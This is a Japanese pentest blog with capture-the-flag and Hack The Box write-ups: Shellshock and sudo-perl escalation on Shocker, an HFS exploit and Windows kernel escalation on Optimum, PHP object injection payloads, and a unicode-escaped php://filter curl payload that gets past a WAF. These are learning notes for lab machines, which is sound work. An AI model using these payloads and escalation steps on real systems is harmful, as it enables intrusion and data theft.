海外のエクスプロイトやっている人やOSCP合格した人のブログとか読んでいると、同じような機能のツールでも何種類も使っているように見受けられるので、次にwindowsマシンを攻略するときは windows suggester以外のツールも使用してみようと思ってます。 おすすめのツールやコメント等ありましたら、ブログにコメントやtwitterにDMを飛ばして頂けると有り難いです!

hack the box shocker[linux]

shocker

f:id:grapesoda204:20200515081353p:plain
今回は、hack the box(HTB)にあるOSCPlikeなマシーンをやっていきます。 下の表を参考にしながら、これからも進めていきたいと思います。 

[追記] こちらの方が量多いですね

docs.google.com

nmap[ポートスキャン]

# Nmap 7.80 scan initiated Thu May 14 02:26:42 2020 as: nmap -A -oA 1 shocker.htb
Nmap scan report for shocker.htb (10.10.10.56)
Host is up (0.15s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May 14 02:27:18 2020 -- 1 IP address (1 host up) scanned in 36.58 seconds

ssh:2222/tcp

先ず最初に2222ポートにあるsshを見てみました。
sshにuser enumrationのエクスプロイトコードがあるみたいなので、それを列挙してからhydra等で総当たり攻撃を試してみましたが無理そうでした。
一応プログラムは後ろで動かしながら次に移ります。

http:80/tcp

適当に接続してみても、画像とhtmlしか表示されませんでした。

dirb

cgi-binというフォルダを最初に見つけたが、それ以降そのディレクトリからファイルを見つけるのが一発で行けませんでした。cgiなので拡張子を, sh perl pl phpなどに設定してdirbを回しました。すると、無事にcgi-bin/user.shを見つけることができました。
user.shに接続すると、スクリプトが実行されていることがしっかりと確認できました。

cgi脆弱性について調べるとshellshockというものが出てきました。 https://www.netagent.co.jp/study/blog/ganso/51996406.html

https://www.ne.jp/asahi/hishidama/home/tech/unix/vulnerability/bash_shellshock.html

名前もshockerということので、このシェルショックで攻撃してみることにしました。 参考は以下のサイト
今更なBashのShellShockを試してみた - Qiita
前回のoptimumで知ったippsecのOSコマンドインジェクションの動作確認方法を試してみる。 これは自分にpingを打つという方法であった。 f:id:grapesoda204:20200515082127p:plain

確認コマンドは下記となります。

tcpdump -i tun0

絞り込んだ方がよかったですね。 その結果、自分のサーバにICMPパケットが飛んできて、自分のマシンがそれにレスポンスをしているパケットを確認することができました。 f:id:grapesoda204:20200514204034p:plain

シェル獲得

任意のコマンドを利用できることを確認したので、ncやbashをつかってreverseshellを取っていきます! 下記のチートシートを上から順番に試してみます。
Reverse Shell Cheat Sheet f:id:grapesoda204:20200514204057p:plain

きちゃ!!

shelly@Shocker:/home/shelly$ cat user.
cat user.txt 
<kotae>

enum for priv

shelly@Shocker:/home/shelly$ sudo -l
sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl
shelly@Shocker:/home/shelly$

とりあえず、find とsudo -l をしてからlinenum.sh使うのがいつもの流れなのですが、sudo -lで答えらしきものが出てきました。 パスなしでperlをroot権限で実行できるみたいなので、とりあえずコマンドを使うようなスクリプトを用意します。

Perl Tips:外部コマンド実行

#!/usr/bin/perl -w
use strict;
{
    system('cat /root/root.txt');
    
}

上のようなファイルを作り、python のsimplehttpserverを利用してファイルをvictim側に移します。
それを実行すると下のようになる。

shelly@Shocker:/home/shelly$ sudo perl evil2.pl
sudo perl evil2.pl
<kotae>

今回のBOXは権限昇格がだいぶ優しめだったと思います。

他の方のwriteupから

ippsecやほかの方のwriteup見てみたら、perl -e でスクリプトの実行を行っていましたね。だいぶ遠回りしていたようです。 あと、こんな便利なものもあるんですね 。 http-shellshock NSE Script

ippsecの動画

Hack The Box optimum[windows]

こんにちは。グレープ粗茶です。

前回の記事にてCSPを取り上げるといいましたが、それはまた今度でm(__)m
ところで最近ペンテストをやり始めました。これが難しいもので、攻略に時間が掛かるため睡眠を挟んでしまうことが多々あります。なので攻略しながらメモを取っているので、それをブログに載せていこうかなと思います。
ということで、初回はhack the boxからeasy レベルのwindows machineをやっていきます。

Created: May 06, 2020 5:37 PM f:id:grapesoda204:20200509000838p:plain

nmap

# Nmap 7.80 scan initiated Wed May  6 04:07:14 2020 as: nmap -A -oA output -Pn 10.10.10.8
Nmap scan report for 10.10.10.8
Host is up (0.18s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed May  6 04:07:45 2020 -- 1 IP address (1 host up) scanned in 31.10 seconds

一つしか空いてないのでこれを検索する。

HFS2.3 のエクスプロイトコードを探す。

すると、下のようなコードが出てきた。

https://gist.github.com/AfroThundr3007730/834858b381634de8417f301620a2ccf9

とりあえず、自分のディレクトリにnc.exeをいれて、そこでサーバーを立ち上げつつ、シェルを待ち受ける。

すると、簡単にシェルが返ってきた。

kali@kali:~$ nc -lvp 4444
listening on [any] 4444 ...
10.10.10.8: inverse host lookup failed: Unknown host
connect to [10.10.14.40] from (UNKNOWN) [10.10.10.8] 49186
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\kostas\Desktop>whoami
whoami
optimum\kostas

C:\Users\kostas\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is D0BC-0196

 Directory of C:\Users\kostas\Desktop

12/05/2020  08:02 ��    <DIR>          .
12/05/2020  08:02 ��    <DIR>          ..
18/03/2017  03:11 ��           760.320 hfs.exe
18/03/2017  03:13 ��                32 user.txt.txt
               2 File(s)        760.352 bytes
               2 Dir(s)  31.895.085.056 bytes free

C:\Users\kostas\Desktop>type user.txt.txt 
type user.txt.txt
d0c39409d7b994a9a1389ebf38ef5f73

権限昇格

windows-privilege-suggester.pyを利用して列挙してもらう。
使い方としては、最初にwindows machineでsysteminfoを実行して返ってきた出力をkaliに持ってくる。そして、xlsxを指定して実行する。
アップデートをすることでxlsxファイルは自動ダウンロードされる。

[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (utf-8)
[*] querying database file for potential vulnerabilities
[*] comparing the 32 hotfix(es) against the 266 potential bulletins(s) with a database of 137 known exploits
[*] there are now 246 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 2012 R2 64-bit'
[*] 
[E] MS16-135: Security Update for Windows Kernel-Mode Drivers (3199135) - Important
[*]   https://www.exploit-db.com/exploits/40745/ -- Microsoft Windows Kernel - win32k Denial of Service (MS16-135)
[*]   https://www.exploit-db.com/exploits/41015/ -- Microsoft Windows Kernel - 'win32k.sys' 'NtSetWindowLongPtr' Privilege Escalation (MS16-135) (2)
[*]   https://github.com/tinysec/public/tree/master/CVE-2016-7255
[*] 
[E] MS16-098: Security Update for Windows Kernel-Mode Drivers (3178466) - Important
[*]   https://www.exploit-db.com/exploits/41020/ -- Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098)
[*] 
[M] MS16-075: Security Update for Windows SMB Server (3164038) - Important
[*]   https://github.com/foxglovesec/RottenPotato
[*]   https://github.com/Kevin-Robertson/Tater
[*]   https://bugs.chromium.org/p/project-zero/issues/detail?id=222 -- Windows: Local WebDAV NTLM Reflection Elevation of Privilege
[*]   https://foxglovesecurity.com/2016/01/16/hot-potato/ -- Hot Potato - Windows Privilege Escalation
[*] 
[E] MS16-074: Security Update for Microsoft Graphics Component (3164036) - Important
[*]   https://www.exploit-db.com/exploits/39990/ -- Windows - gdi32.dll Multiple DIB-Related EMF Record Handlers Heap-Based Out-of-Bounds Reads/Memory Disclosure (MS16-074), PoC
[*]   https://www.exploit-db.com/exploits/39991/ -- Windows Kernel - ATMFD.DLL NamedEscape 0x250C Pool Corruption (MS16-074), PoC
[*] 
[E] MS16-063: Cumulative Security Update for Internet Explorer (3163649) - Critical
[*]   https://www.exploit-db.com/exploits/39994/ -- Internet Explorer 11 - Garbage Collector Attribute Type Confusion (MS16-063), PoC
[*] 
[E] MS16-032: Security Update for Secondary Logon to Address Elevation of Privile (3143141) - Important
[*]   https://www.exploit-db.com/exploits/40107/ -- MS16-032 Secondary Logon Handle Privilege Escalation, MSF
[*]   https://www.exploit-db.com/exploits/39574/ -- Microsoft Windows 8.1/10 - Secondary Logon Standard Handles Missing Sanitization Privilege Escalation (MS16-032), PoC
[*]   https://www.exploit-db.com/exploits/39719/ -- Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (PowerShell), PoC
[*]   https://www.exploit-db.com/exploits/39809/ -- Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (C#)
[*] 
[M] MS16-016: Security Update for WebDAV to Address Elevation of Privilege (3136041) - Important
[*]   https://www.exploit-db.com/exploits/40085/ -- MS16-016 mrxdav.sys WebDav Local Privilege Escalation, MSF
[*]   https://www.exploit-db.com/exploits/39788/ -- Microsoft Windows 7 - WebDAV Privilege Escalation Exploit (MS16-016) (2), PoC
[*]   https://www.exploit-db.com/exploits/39432/ -- Microsoft Windows 7 SP1 x86 - WebDAV Privilege Escalation (MS16-016) (1), PoC
[*] 
[E] MS16-014: Security Update for Microsoft Windows to Address Remote Code Execution (3134228) - Important
[*]   Windows 7 SP1 x86 - Privilege Escalation (MS16-014), https://www.exploit-db.com/exploits/40039/, PoC
[*] 
[E] MS16-007: Security Update for Microsoft Windows to Address Remote Code Execution (3124901) - Important
[*]   https://www.exploit-db.com/exploits/39232/ -- Microsoft Windows devenum.dll!DeviceMoniker::Load() - Heap Corruption Buffer Underflow (MS16-007), PoC
[*]   https://www.exploit-db.com/exploits/39233/ -- Microsoft Office / COM Object DLL Planting with WMALFXGFXDSP.dll (MS-16-007), PoC
[*] 
[E] MS15-132: Security Update for Microsoft Windows to Address Remote Code Execution (3116162) - Important
[*]   https://www.exploit-db.com/exploits/38968/ -- Microsoft Office / COM Object DLL Planting with comsvcs.dll Delay Load of mqrt.dll (MS15-132), PoC
[*]   https://www.exploit-db.com/exploits/38918/ -- Microsoft Office / COM Object els.dll DLL Planting (MS15-134), PoC
[*] 
[E] MS15-112: Cumulative Security Update for Internet Explorer (3104517) - Critical
[*]   https://www.exploit-db.com/exploits/39698/ -- Internet Explorer 9/10/11 - CDOMStringDataList::InitFromString Out-of-Bounds Read (MS15-112)
[*] 
[E] MS15-111: Security Update for Windows Kernel to Address Elevation of Privilege (3096447) - Important
[*]   https://www.exploit-db.com/exploits/38474/ -- Windows 10 Sandboxed Mount Reparse Point Creation Mitigation Bypass (MS15-111), PoC
[*] 
[E] MS15-102: Vulnerabilities in Windows Task Management Could Allow Elevation of Privilege (3089657) - Important
[*]   https://www.exploit-db.com/exploits/38202/ -- Windows CreateObjectTask SettingsSyncDiagnostics Privilege Escalation, PoC
[*]   https://www.exploit-db.com/exploits/38200/ -- Windows Task Scheduler DeleteExpiredTaskAfter File Deletion Privilege Escalation, PoC
[*]   https://www.exploit-db.com/exploits/38201/ -- Windows CreateObjectTask TileUserBroker Privilege Escalation, PoC
[*] 
[E] MS15-097: Vulnerabilities in Microsoft Graphics Component Could Allow Remote Code Execution (3089656) - Critical
[*]   https://www.exploit-db.com/exploits/38198/ -- Windows 10 Build 10130 - User Mode Font Driver Thread Permissions Privilege Escalation, PoC
[*]   https://www.exploit-db.com/exploits/38199/ -- Windows NtUserGetClipboardAccessToken Token Leak, PoC
[*] 
[M] MS15-078: Vulnerability in Microsoft Font Driver Could Allow Remote Code Execution (3079904) - Critical
[*]   https://www.exploit-db.com/exploits/38222/ -- MS15-078 Microsoft Windows Font Driver Buffer Overflow
[*] 
[E] MS15-052: Vulnerability in Windows Kernel Could Allow Security Feature Bypass (3050514) - Important
[*]   https://www.exploit-db.com/exploits/37052/ -- Windows - CNG.SYS Kernel Security Feature Bypass PoC (MS15-052), PoC
[*] 
[M] MS15-051: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (3057191) - Important
[*]   https://github.com/hfiref0x/CVE-2015-1701, Win32k Elevation of Privilege Vulnerability, PoC
[*]   https://www.exploit-db.com/exploits/37367/ -- Windows ClientCopyImage Win32k Exploit, MSF
[*] 
[E] MS15-010: Vulnerabilities in Windows Kernel-Mode Driver Could Allow Remote Code Execution (3036220) - Critical
[*]   https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows 8.1 - win32k Local Privilege Escalation (MS15-010), PoC
[*]   https://www.exploit-db.com/exploits/37098/ -- Microsoft Windows - Local Privilege Escalation (MS15-010), PoC
[*]   https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows win32k Local Privilege Escalation (MS15-010), PoC
[*] 
[E] MS15-001: Vulnerability in Windows Application Compatibility Cache Could Allow Elevation of Privilege (3023266) - Important
[*]   http://www.exploit-db.com/exploits/35661/ -- Windows 8.1 (32/64 bit) - Privilege Escalation (ahcache.sys/NtApphelpCacheControl), PoC
[*] 
[E] MS14-068: Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780) - Critical
[*]   http://www.exploit-db.com/exploits/35474/ -- Windows Kerberos - Elevation of Privilege (MS14-068), PoC
[*] 
[M] MS14-064: Vulnerabilities in Windows OLE Could Allow Remote Code Execution (3011443) - Critical
[*]   https://www.exploit-db.com/exploits/37800// -- Microsoft Windows HTA (HTML Application) - Remote Code Execution (MS14-064), PoC
[*]   http://www.exploit-db.com/exploits/35308/ -- Internet Explorer OLE Pre-IE11 - Automation Array Remote Code Execution / Powershell VirtualAlloc (MS14-064), PoC
[*]   http://www.exploit-db.com/exploits/35229/ -- Internet Explorer <= 11 - OLE Automation Array Remote Code Execution (#1), PoC
[*]   http://www.exploit-db.com/exploits/35230/ -- Internet Explorer < 11 - OLE Automation Array Remote Code Execution (MSF), MSF
[*]   http://www.exploit-db.com/exploits/35235/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python, MSF
[*]   http://www.exploit-db.com/exploits/35236/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution, MSF
[*] 
[M] MS14-060: Vulnerability in Windows OLE Could Allow Remote Code Execution (3000869) - Important
[*]   http://www.exploit-db.com/exploits/35055/ -- Windows OLE - Remote Code Execution 'Sandworm' Exploit (MS14-060), PoC
[*]   http://www.exploit-db.com/exploits/35020/ -- MS14-060 Microsoft Windows OLE Package Manager Code Execution, MSF
[*] 
[M] MS14-058: Vulnerabilities in Kernel-Mode Driver Could Allow Remote Code Execution (3000061) - Critical
[*]   http://www.exploit-db.com/exploits/35101/ -- Windows TrackPopupMenu Win32k NULL Pointer Dereference, MSF
[*] 
[E] MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2880430) - Important
[M] MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical

うーん長い。。
[E][M]とか出ているが、[E]がexploitDBからの推奨、[M]がmetasploitからの推奨 となっている。
初手でMetasploitは使わないということにしてるので、ExploitDBから推奨されてるものを上から刺していく。上から二つ目のエクスプロイトを刺すことができた。(MS16-098)

Offensive Security's Exploit Database Archive

これでroot権限を得ることができたので、administrator のdesktopにあるテキストを読む。

ippsecのwriteupにて

f:id:grapesoda204:20200509000835p:plain

search欄からコマンド実行できる脆弱性を確かめるために、pingコマンドを実行して、コマンドが実行されるか確かめている。また、kali側でtcpdumpを使って、実際にpingが飛んでくるかを確かめている。(victim側に実行結果の出力が無いため)

MS16-032を使って権限昇格している。

また、脆弱性の列挙作業時ではsherlock.ps1を用いて列挙を行っている。

rasta-mouse/Sherlock

Ippsecの動画

PHPオブジェクトインジェクションについて

そもそもPHPオブジェクトインジェクションとは?

SQLインジェクションが外部からSQL文を注入する攻撃であるのと同じように、オブジェクトインジェクションとは外部からオブジェクトを注入する攻撃です。 引用

※今回の記事は、以下を参照しつつこれを自分の手で実証していく

PHP Object Injection Attack / PHPオブジェクトインジェクションの攻撃 - INT 4: HACKER

PHPのunserialize関数に外部由来の値を処理させると脆弱性の原因になる

まず実証を行っていく

実証環境

  • linux
  • php5.3

    このためにイメージを用意するのは、大変だと感じたため徳丸本のvirtualboxを利用しました。

    本編

    まず二つのphpファイルを用意する。

  • Hello.php
  • index.php

Hello.phpはHello classを収納している。

またindex.phpは、そのphpを取り込んでいるが、実際にはそのHelloクラスをインスタンスとして生成はしていない。

Hello.php

    <?php
    class Hello{
        private $name;
        public function __construct($name){
            $this->name = $name;
            $this->greeting='hey!';
        } 
        public function __destruct()
        {
            echo "hey!".$this->name;  
        } 
    }
    ?>

index.php

$_GET['greet']でユーザからのクエリを受け取る。

    <?php
     require "Hello.php";
     unserialize(base64_decode($_GET['greet']);
    ?>

ここで注目してほしいのは、index.phpにおいては直接Helloクラスのインスタンスを生成するような処理を行っていないところ。

次に重要となるのが、ユーザからの変数をデシリアライズするという挙動 つまり、$_GET['greet']にあるようにユーザからのパラメータを受け取り、デシリアライズする仕様となっている。

greetパラメータで攻撃文字列を送信すると、インスタンスが生成されて、そのデスクトラクタを自動的に起動することとなる。

ここで送る攻撃文字列は、インスタンスの情報をシリアライズ化しbase64エンコードしたもの。

そうすると、下にあるように、インスタンスが生成されてそのデスクトラクタが動き、hey tarooと表示されることとなる。 これが、php object injectionである。

f:id:grapesoda204:20200426101938j:plain
hey taro と表示された

そもそものserializeの用途について

通常phpでは、配列をクッキーにそのまま保存することができない。

これをシリアライズ化して一つの文字列として扱うことで、クッキーにうまく保存している。

    O:3:"SQL":1:{s:5:"query";s:38:"SELECT password AS username FROM users";}

対策

php 7.0からはこの自動的な生成に関してはphp側で対応されている。

しかしながらjson_decode ,json_encode を利用するのが、様々記事を参照すると現状一般的と思われる。

解法

では、このようにクラスを宣言しているphpとそれを取り込んでいるphpソースコードが与えられた場合にどのようにPHPオブジェクトインジェクションを解けばよいのか。

それはまず、自分の環境でserialize関数等を利用できる環境を用意することが、必要となる。その環境が無いという場合は、下記をお勧めする。

今さら聞けない!XAMPPをインストールする方法【超初心者向け】

簡単に行う場合はpaiza.ioでも十分である。

Online editor and compiler

全体的な流れ

  1. Hello.phpとindex.phpを自分の環境に移す
  2. Helloクラスのインスタンスを生成する
  3. そのオブジェクトをシリアライズ化する「serialize()」
  4. それをbase64エンコードする

この流れを実行するのが下のコードとなる。

    <?php
     require "Hello.php";
     $greet = new Hello('taroo');
     echo serialize($greet);
     echo "<br>";
     echo base64_encode(serialize($greet ));
     echo "<br>";

そして、このbase64エンコードされた値を、本サーバの方でクエリパラメータとして飛ばせば、最初の画像のようにクラスのデスクトラクタが自動的に作動する。

f:id:grapesoda204:20200426101649j:plain
greetパラメータに文字列を付与

CTF解いてみる

解説してくよ

このファイルでは、SQLクラスを利用して、クエリ文を代入している。 また、ユーザのクッキー内にあるシリアライズ化された文字列を取り出して、デシリアライズしている。

    <?php
    include 'connect.php';
    
    $sql = new SQL();
    $sql->connect();
    $sql->query = 'SELECT username FROM users WHERE id=';
    
    
    if (isset ($_COOKIE['leet_hax0r'])) {
        $sess_data = unserialize (base64_decode ($_COOKIE['leet_hax0r']));
        try {
            if (is_array($sess_data) && $sess_data['ip'] != $_SERVER['REMOTE_ADDR']) {
                die('CANT HACK US!!!');
            }
        } catch(Exception $e) {
            echo $e;
        }
    } else {
        $cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
        setcookie ('leet_hax0r', $cookie, time () + (86400 * 30));
    }
    
    if (isset ($_REQUEST['id']) && is_numeric ($_REQUEST['id'])) {
        try {
            $sql->query .= $_REQUEST['id'];
        } catch(Exception $e) {
            echo ' Invalid query';
        }
    }
    ?>
    
    <!DOCTYPE html>
    <html>
    <head>
            <title>#WebSec Level Four</title>
            <link rel="stylesheet" href="../static/bootstrap.min.css" />
    </head>
            <body>
                    <div id="main">
                            <div class="container">
                                    <div class="row">
                                            <h1>LevelFour <small> - Cereal is nation</small></h1>
                                    </div>
                                    <div class="row">
                                            <p class="lead">
                            Since we're lazy, we take advantage of php's garbage collector to properly display query results.<br>
                             We also do like to write neat OOP.
                            You can get the sources <a href="source1.php">here</a> and <a href="source2.php">here</a>.
                                            </p>
                                    </div>
                            </div>
                            <div class="container">
                    <div class="row">
                        <form class="form-inline" method='post'>
                            <input name='id' class='form-control' type='text' placeholder='User id'>
                            <input class="form-control btn btn-default" name="submit" value='Go' type='submit'>
                                            </form>
                                    </div>
                            </div>
                    </div>
            </body>
    </html>

このファイルでは、SQLクラスが定義されている。 また、デスクトラクタ内でSQLの実行を行っている事が分かる。

    <?php
    
    class SQL {
        public $query = '';
        public $conn;
        public function __construct() {
        }
        
        public function connect() {
            $this->conn = new SQLite3 ("database.db", SQLITE3_OPEN_READONLY);
        }
    
        public function SQL_query($query) {
            $this->query = $query;
        }
    
        public function execute() {
            return $this->conn->query ($this->query);
        }
    
        public function __destruct() {
            if (!isset ($this->conn)) {
                $this->connect ();
            }
            
            $ret = $this->execute ();
            if (false !== $ret) {    
                while (false !== ($row = $ret->fetchArray (SQLITE3_ASSOC))) {
                    echo '<p class="well"><strong>Username:<strong> ' . $row['username'] . '</p>';
                }
            }
        }
    }
    ?>

1.まずsqliteからテーブル情報をもらう。

しかしながらソースコードであるように,usernameがカラム名でないと取得できない。

ここでAS句を用いて命名を利用する

    echo '<p class="well"><strong>Username:<strong> ' . $row['username'] . '</p>';

つまり、シリアライズ化するための攻撃文作成用phpは下記となる。

    <?php
    // Your code here!
    class SQL {
        public $query = 'SELECT sql AS username FROM sqlite_master';
    }
    $kai = new SQL();
    echo base64_encode(serialize($kai));
    ?>

これで得られたbase64の文字列をクッキーにセットして[GO!]をクリック!

f:id:grapesoda204:20200424015120p:plain

2.得た情報を基に攻撃文を構成する

するとテーブルの情報が分かった

それでは、テーブルからpasswordのカラムを指定して、重要な情報と思われる部分を抜き出そう。先ほどの繰り返しを行い、攻撃用文字列を生成する。

    <?php
    // Your code here!
    class SQL {
        public $query = 'SELECT password AS username FROM users';
    }
    $kai = new SQL();
    echo base64_encode(serialize($kai));
    ?>

ここで得られた文字列をcookieにセットすればフラグが得られます \(^_^)/ ところで次回は、CSPについてやっていこうと思います。(タブンネ)

harekazeCTF encode_and_encode

こんにちは。グレープ粗茶です。 下書きにおいたままの記事を掘り返してきました。 今回は、dockerでローカル環境上にweb問題のサーバーを構築できるようにしているharekazeCTFの問題を解きました。

事前準備

  1. githubにて与えられたDockerFileを使いサーバーを立てる。
  2. docker-machine ipでサーバーのローカルipを知る。
  3. そのipに対してpingコマンドで反応があるかを調べる。

    問題

[Web 100] Encode & Encode

Description

つよいWAFを作りました! これならフラグは読めないはず!


I made a strong WAF, so you definitely can't read the flag!


http://(redacted) (server/Dockerfile)

  • encode-and-encode.tar.xz

    solution

    まずは、普通にサーバーipに対してブラウザで接続する。 また、与えられたtar.xzを解答すると、サーバーのhtmlとphpソースコードを閲覧することができた。 すると、このindex.htmlはPOSTでどこのページを拾うかを決めて、contentを拾ってくるようになっている事が分かる。

また、与えられたDockerfileを見ると、flagが/flagにあることが分かる。

FROM php:7.3-apache

COPY ./php.ini $PHP_INI_DIR/php.ini
COPY ./chall /var/www/html
RUN echo "HarekazeCTF{<redacted>}" > /flag

EXPOSE 80

source code

<?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

query.phpで行われる処理

  • 禁止ワードを定めて弾く
  • ポストでpageがなかったら弾く
  • 拾ってきたコンテンツにHarekazeCTFが含まれていたら弾く

query.phpでの問題点

$bodyに対して禁止ワードのチェックを行い,json_decodeした$jsonに対しては禁止ワードが存在するかどうかを確認していないこと つまり、 jsonデコードした後に禁止ワードを見極めていない!

flag取得手順と対策回避

  1. flagをquey.phpに対してpageで投げる

  2. 投げる際にflagやphpが禁止ワードなのでunicodeに変換して投げる

  3. 帰ってくるflagにharekazeCTFが含まれるので弾かれる

  4. phpfilterでbase64に変換して、回避

二回回避するからencode_and_encodeなんだなぁ~(圧倒的KONAMI)

is_valid回避

postで\flagをを送ればよい。その際にunicodeへと変換する・ Unicode文字ツール \flag →\u002F\u0066\u006C\u0061\u0067

$ curl -d '{"page":"\u002F\u0066\u006C\u0061\u0067"}' http://localIP/query.php
{"content":"HarekazeCTF{&lt;censored&gt;}\n"}

これで、is_validは回避できた。 次はcontentを取得する際に入る検閲を回避する。

preg_replace回避

この関数は、あるパターンに適合すると文字列を置き換える関数であった。 【PHP】正規表現で置換するpreg_replace【サンプルコード付き】 - Qiita

以上のことから、contentを何かでエンコードして取得すればよい。

最終的に自分で一回でコード作業をする。 そのために変換フィルタを用いる。 PHP: php:// - Manual

つかえるフィルタ (PHP: 利用できるフィルタのリスト - Manual) base64への変換 PHP: 変換フィルタ - Manual

ここでbase64にflagを変換してpreg_replaceを回避できるようになる。 php://filter/convert.base64-encode/resource=/flag これでフラグをbase64へと変換した状態で取得できる。

base64のフラグを取得

上二つから、php://filter/convert.base64-encode/resource=/flagをunicodeに変換する。

\u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067

これでis_validpreg_replaceを回避できる。

$ curl -d '{"page":"\u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067"}' http://192.168.99.100/query.php
{"content":"SGFyZWthemVDVEZ7dHVydXRhcmFfdGF0dGF0dGFfcml0dGF9Cg=="}

これをデコードする。

$ echo 'SGFyZWthemVDVEZ7dHVydXRhcmFfdGF0dGF0dGFfcml0dGF9Cg=='|base64 -d
HarekazeCTF{turutara_tattatta_ritta}

おわり。